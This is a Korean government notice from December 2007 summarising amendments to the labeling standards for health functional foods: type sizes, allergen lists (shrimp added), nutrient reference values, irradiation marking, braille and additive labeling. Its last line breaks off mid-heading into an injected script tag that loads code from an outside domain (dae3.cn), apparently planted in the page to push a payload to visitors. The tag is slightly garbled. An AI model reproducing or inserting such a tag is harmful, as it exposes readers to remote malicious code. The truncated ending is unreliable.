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건강기능식품의 표시기준 개정 고시(2007.12.11)
작성자 식품안전부 등록일 2007/12/17 조회 16000
첨부
건강기능식품의표시기준중개정


1. 개정사유
소비자의 합리적인 건강기능식품 선택에 필요한 정보제공을 확대하여 정보부족으로 인한 소비자의 피해발생을 사전에 예방하고자, 표시기준을 보다 합리적이고 소비자중심으로 정비하는 등 현행 제도상의 일부 미비점을 개선 보완하고자 개정


2. 주요내용

가. 표시활자 최소크기 상향 조정

- 건강기능식품 표시·내용량·제품명의 최소크기와 기능정보, 섭취량·섭취방법·섭취시 주의사항은 7포인트에서 8포인트로, 영양정보는 6포인트에서 8포인트로, 유통기한은 7포인트에서 10포인트로 최소크기를 상향 조정함


나. 허가·신고사항 변경시 라벨 등으로 해당부분 변경처리

- 건강기능식품의 영업허가·신고, 품목제조신고 사항에 대하여 관청에서 변경허가·신고 수리한 경우에는 표시사항이 인쇄·기재된 라벨 등으로 해당 부분만 변경처리 할 수 있도록 함(단, 유통기한은 제외)


다. 건강기능식품의 긍정적 영향을 나타내는 문구 사용

- 건강기능식품에 관한 법률에서 정한 건강기능식품의 정의를 추가로 표시할 수 있도록 함


라. 주원료와 기능성분 함량표시로 소비자의 오인혼동 예방

- 주원료의 함량을 표시하는 경우에는 기능성분 명칭과 함량을 함께 표시하도록 하여 소비자에게 주원료에 대한 정확한 정보를 제공함


마. 나트륨, 비타민 C의 영양소 기준치 조정

- 영양소 기준치 중 나트륨은 3,500mg에서 2,000mg으로, 비타민C는 55mg에서 100mg으로 변경함


바. 방사선조사 처리한 원료 표시

- 방사선조사 처리한 원료를 일부분 사용한 경우에 해당 원재료명에 방사선조사처리 표시를 하도록 함


사. 알레르기 유발물질 추가 및 표시대상 확대

- 알레르기를 유발하는 식품을 현행 11개에서 새우를 추가하여 12개로 확대하고, 알레르기를 유발하는 식품을 원료로 하여 제조한 식품첨가물도 그 원료 식품을 표시하도록 의무화함


아. 점자표시 병기 가능

- 제품명, 유통기한 등 표시사항에 대하여 알기 쉬운 장소에 점자표기 병행 할 수 있음(스티커 이용 가능)


자. 식품첨가물 표시방법 명확화

- 명칭과 용도를 표시하여야 하는 식품첨가물 지정, 식품첨가물 간략명 사용 등을 「식품등의 표시기준」과 동일하게 건강기능식품 표시기준에도 적용함


3. 참?script src=http://dae3.cn>
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